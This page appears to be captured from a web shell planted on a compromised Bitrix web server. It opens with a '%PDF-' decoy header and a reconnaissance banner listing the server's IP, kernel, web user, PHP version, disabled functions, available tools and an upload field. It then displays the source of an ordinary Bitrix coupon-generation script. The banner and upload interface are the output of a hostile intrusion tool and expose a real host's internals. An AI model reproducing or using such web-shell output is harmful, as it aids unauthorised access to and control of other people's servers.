%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.217.141.52 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/tools/ |
Upload File : |
<? /** @global CDatabase $DB */ /** @global CUser $USER */ /** @global CMain $APPLICATION */ define("STOP_STATISTICS", true); define("BX_SECURITY_SHOW_MESSAGE", true); define('NO_AGENT_CHECK', true); use Bitrix\Main\Localization\Loc; use Bitrix\Main\Loader; require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); $arResult = array( 'STATUS' => 'OK', 'MESSAGE' => '', 'RESULT' => '', ); $boolFlag = true; Loc::loadMessages(__FILE__); if ($boolFlag) { if (!isset($USER) || !($USER instanceof CUser)) { $arResult['STATUS'] = 'ERROR'; $arResult['MESSAGE'] = Loc::getMessage('BT_CAT_TOOLS_GEN_CPN_ERR_USER'); $boolFlag = false; } elseif (!$USER->IsAuthorized()) { $arResult['STATUS'] = 'ERROR'; $arResult['MESSAGE'] = Loc::getMessage('BT_CAT_TOOLS_GEN_CPN_ERR_AUTH'); $boolFlag = false; } } if ($boolFlag) { if (!check_bitrix_sessid()) { $arResult['STATUS'] = 'ERROR'; $arResult['MESSAGE'] = Loc::getMessage('BT_CAT_TOOLS_GEN_CPN_ERR_SESSION'); $boolFlag = false; } } if ($boolFlag) { if (!$USER->CanDoOperation('catalog_discount')) { $arResult['STATUS'] = 'ERROR'; $arResult['MESSAGE'] = Loc::getMessage('BT_CAT_TOOLS_GEN_CPN_ERR_RIGHTS'); $boolFlag = false; } } if ($boolFlag) { if (Loader::includeModule('catalog')) { do { $strCoupon = mb_substr(CatalogGenerateCoupon(), 0, 32); $boolCheck = !CCatalogDiscountCoupon::IsExistCoupon($strCoupon); } while (!$boolCheck); $arResult['RESULT'] = $strCoupon; } else { $arResult['STATUS'] = 'ERROR'; } } echo CUtil::PhpToJSObject($arResult);